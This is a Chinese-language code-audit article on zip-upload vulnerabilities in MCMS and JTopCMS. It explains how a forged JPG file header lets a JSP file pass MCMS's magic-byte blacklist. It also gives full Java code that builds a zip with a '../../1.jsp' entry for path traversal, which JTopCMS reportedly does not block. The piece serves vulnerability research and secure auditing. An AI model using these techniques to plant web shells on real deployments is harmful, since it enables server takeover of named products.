在测试压缩包解压的功能时,一般会有两个思路,一个是尝试绕过对解压文件类型的检测,一个是尝试在文件名中添加../,实现目录穿越解压到其他文件夹,造成getshell(如果一个无法解析jsp的springboot项目打包后部署在tomcat上,那么就可以上传war包到tomcat根目录上来执行jsp了)或文件覆盖。下面以两个比较常见的开源系统来分析解压过程的代码。
###1.检测压缩包内文件后缀的绕过###
在gitee上看到铭飞cms存在任意文件上传可绕过,cms存在一个上传压缩包并解压的功能,虽然有对解压的文件做文件名后缀检查,但是可以绕过。在issues只是简单说明了一下绕过的原因,所以需要看看源码搞清楚绕过的原因。https://gitee.com/mingSoft/MCMS/issues/I81PSB
1.这里以mcms5.3.1的代码进行分析,首先定位到上传压缩包的方法net/mingsoft/basic/action/ManageFileAction.java,在前面的代码只是检测上传的路径是否包含../这种路径穿越的字符。
2.接着跟进最后一行的return this.uploadTemplate(config),在这个方法内对上传的压缩包的后缀进行检测,通过hutool这个工具类库的FileUtil.getSuffix(fileName)获取文件后缀名,而这个方法最终是调用到extName(fileName)方法,获取最后一个点后面的字符作为文件后缀。在这两个地方看起来都没有什么绕过的可能,而且并没有对压缩包内的文件进行检测。
3.处理上传压缩包的代码到这里就结束了,校验压缩包文件的代码不在这里面,那就说明可能是在过滤器、拦截器、aop里,查看目录结构就发现了aop的目录,uploadAop()方法的切入点正是uploadTemplate方法。
在uploadAop方法中,如果上传的文件是zip文件,则会调用到checkZip(bean.getFile(),false);
4.而在checkZip()方法中,则是通过FileTypeUtil.getType(file).toLowerCase()来获取压缩包内文件的文件类型,即后缀,并以此校验文件后缀是否安全。
5.跟进getType()方法,它是hutool工具类下的一个方法。hutool是一个使用很广泛的工具类库,里面封装了很多操作的代码。
在源码的注释中也说明了getType这个方法是根据文件流的头部信息获取到文件类型的
继续跟进getType(in,file.getName())方法,就知道这是获取到了文件的前28个字节
而在getType(IoUtil.readHex28Upper(in))方法中,先将FILE_TYPE_MAP这个map集合进行遍历,判断文件的前28个字节中是否以map对象的键开头,是的话就返回对应的值。而FILE_TYPE_MAP就是一些常见的文件后缀和头部部分字节的键值对。
6.回到checkZip()方法,获取到文件名后缀后,就进行黑名单校验。
7.只需要在jsp文件中加入正常文件如图片文件的文件头,即可让checkZip()方法里获取到的文件名后缀为图片文件,例如使用jpg的头ffd8ff
如果只是上传正常的带jsp的压缩包,那么就会正常识别为jsp
而使用加了图片头的jsp,则会被识别为jpg文件从而进行绕过
这里之所以能够绕过,还是靠hutool的FileTypeUtil.getType(file)获取文件类型,而hutool作为一个github上27.3k的star的项目,以后会遇到的可能性还是挺大的,所以以后代码审计遇到它的可以关注一下这个方法的调用。
###2.未对压缩包内的文件名进行校验,可目录穿越解压到任意路径,导致文件覆盖###
mcms对压缩包路径穿越的防护
先看看mcms是怎么处理解压过程的
跟进ZipUtil.unzip(zipFile.getPath(),zipFile.getParent(), Charset.forName("gbk")),最后到cn/hutool/core/util/ZipUtil.java的readTo方法,在这里代码也说明了会通过FileUtil.file(outFile, path)检查slip漏洞。
继续跟进FileUtil.file(outFile, path),最后来到checkSlip(File parentFile, File file)方法,会先通过getCanonicalPath()方法获取到文件的规范路径,即会处理../这种目录跳转的符号。
parentCanonicalPath是解压路径,canonicalPath是解压后文件的绝对路径,通过判断解压后文件路径是否以解压路径开始,来确认是否向上跳转了目录,以此防护目录穿越。
下面尝试将1.jsp文件压缩时改名为../../1.jsp,由于无法直接在文件夹中将文件名改为../,所以需要使用代码来实现。
`public class zip {
public static void main(String[] args) {
compress("C:\Users\a\desktop\1.jsp","C:\Users\a\desktop\3.zip");
}
public static void compress(String srcFilePath, String destFilePath) {
File src = new File(srcFilePath);
if (!src.exists()) {
throw new RuntimeException(srcFilePath + "不存在");
}
File zipFile = new File(destFilePath);
try {
FileOutputStream fos = new FileOutputStream(zipFile);
ZipOutputStream zos = new ZipOutputStream(fos);
String baseDir = "../../";
compressbyType(src, zos, baseDir);
zos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {
if (!src.exists())
return;
System.out.println("压缩路径" + baseDir + src.getName());
if (src.isFile()) {
compressFile(src, zos, baseDir);
} else if (src.isDirectory()) {
compressDir(src, zos, baseDir);
}
}
private static void compressFile(File file, ZipOutputStream zos,String baseDir) {
if (!file.exists())
return;
try {
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
ZipEntry entry = new ZipEntry(baseDir + file.getName());
zos.putNextEntry(entry);
int count;
byte[] buf = new byte[1024];
while ((count = bis.read(buf)) != -1) {
zos.write(buf, 0, count);
}
bis.close();
} catch (Exception e) {
}
}
private static void compressDir(File dir, ZipOutputStream zos,String baseDir) {
if (!dir.exists())
return;
File[] files = dir.listFiles();
if(files.length == 0){
try {
zos.putNextEntry(new ZipEntry(baseDir + dir.getName()+File.separator));
} catch (IOException e) {
e.printStackTrace();
}
}
for (File file : files) {
compressbyType(file, zos, baseDir + dir.getName() + File.separator);
}
}
}`
最后可以看到,在处理了../后,解压后文件目录不是在解压路径的下级目录,所以最终会抛出异常。
jtopcms未对压缩包路径穿越进行防护
jtopcms的前台界面师傅们看着应该会很熟悉,似乎应用在很多政企网站上,而之前做过某国企的代码审计,那个系统正是用jtopcms二开的,才发现了下面这个漏洞。
接着看看在jtopcms中,是如何处理解压压缩包的
(在这里直接获取到了文件名,而不是像mcms那样通过文件头来确定文件类型,所以如果做了后缀检测,就很难绕过了。)
在解压时并未对压缩包内的文件名进行校验,而且没有过滤器拦截器aop这些增强方法的实现,所以可以直接处理../造成目录穿越,将文件保存到任意目录下